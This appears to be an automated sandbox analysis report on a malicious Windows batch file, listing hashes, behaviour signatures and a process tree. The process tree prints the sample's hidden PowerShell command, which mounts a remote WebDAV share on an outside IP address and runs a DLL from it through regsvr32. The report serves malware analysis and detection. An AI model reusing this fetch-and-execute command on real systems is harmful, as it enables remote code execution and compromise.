Analysis
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max time kernel
140s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
19-07-2024 14:46
Static task
static1
Behavioral task
behavioral1
Sample
2193413201207055303.bat
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
2193413201207055303.bat
Resource
win10v2004-20240709-en
General
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Target
2193413201207055303.bat
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Size
11KB
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MD5
dee9ee51c5aa6ac728708511e15a952a
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SHA1
a76fb2add4e53263cf174721644ac3aa3c2fe1ce
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SHA256
93be448106e9a6dbc3e951abbef8cb15324f00bd025add81413fb96e3e49417d
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SHA512
fbdc1625199d55b58ed1834f28221a53c04c0f03c00a1561bd4094952b1dda53220155866d055f5ca65eed3dc92862c3e45971c3ce1340a6d89411b2ca28b93c
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SSDEEP
192:JgXGXXdoHsEiZ+GJdvLKsYPe89Zu3bx1bx28atTAbYXfHdXc5syJhwt4:JgXAXdo85JFGFPe89ZUbx1bx28fbY/+J
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2908 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2908 powershell.exe 2908 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2908 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 1272 wordpad.exe 1272 wordpad.exe 1272 wordpad.exe 1272 wordpad.exe 1272 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 344 wrote to memory of 1272 344 cmd.exe 85 PID 344 wrote to memory of 1272 344 cmd.exe 85 PID 344 wrote to memory of 2908 344 cmd.exe 87 PID 344 wrote to memory of 2908 344 cmd.exe 87 PID 2908 wrote to memory of 848 2908 powershell.exe 89 PID 2908 wrote to memory of 848 2908 powershell.exe 89 PID 2908 wrote to memory of 4644 2908 powershell.exe 90 PID 2908 wrote to memory of 4644 2908 powershell.exe 90
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2193413201207055303.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:344 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:1272
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\2505250422361.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2908 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:848
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\2505250422361.dll3⤵PID:4644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:2076
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82